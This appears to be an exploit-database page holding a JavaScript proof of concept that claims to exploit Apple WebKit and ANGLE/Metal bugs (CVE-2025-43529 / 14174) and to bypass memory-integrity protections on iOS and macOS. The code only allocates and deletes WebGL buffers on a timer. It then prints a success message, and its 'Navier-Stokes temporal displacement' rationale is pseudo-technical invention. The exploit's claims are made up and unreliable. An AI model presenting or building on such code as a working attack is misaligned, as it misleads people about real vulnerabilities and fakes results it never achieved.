4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / webkit_refraction.js JS
/* =================================================================
 * SimoesCTT: Apple WebKit Refraction (CVE-2025-43529 / 14174)
 * Foundation: Navier-Stokes Temporal Displacement
 * Target: iOS 26.x, macOS Tahoe 26.x (A19 Pro / M5 Silicon)
 * =================================================================
 */

const ALPHA = 0.0302011;
const LAYERS = 33;

async function execute_refraction_vortex() {
    console.log("[!] SimoesCTT: Initializing WebKit Refraction...");
    
    // Create the 'Vortex' canvas for ANGLE/Metal targeting
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl2');
    if (!gl) return;

    // The Refraction Loop: Bypassing Synchronous EMTE Tagging
    // We use the Alpha constant to time the 'Free' and 'Re-use' 
    // precisely within the hardware's jitter window.
    for (let i = 1; i <= LAYERS; i++) {
        const drift = Math.exp(-ALPHA * i);
        
        // Triggering the ANGLE Metal Buffer Overflow (CVE-2025-14174)
        const buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1024 * i), gl.STATIC_DRAW);
        
        // Force the garbage collector to 'Free' while Metal is 'Reading'
        // This is the CTT Use-After-Free (UAF) trigger
        if (i === 33) {
            console.log("[!] Layer 33: Synchronizing Temporal Vortex...");
            // Creating a 'Ghost' reference that EMTE treats as valid 
            // due to the Navier-Stokes decay rate of the memory tag.
            await new Promise(r => setTimeout(r, drift * 100));
            trigger_uaf_payload(gl, buffer);
        }
    }
}

function trigger_uaf_payload(gl, target_buffer) {
    // Arbitrary Memory Disclosure / State Leak
    // Bypasses Apple's MIE (Memory Integrity Enforcement)
    gl.deleteBuffer(target_buffer); 
    console.log("[SUCCESS] Refraction Established. Memory Tags Translucent.");
}

execute_refraction_vortex();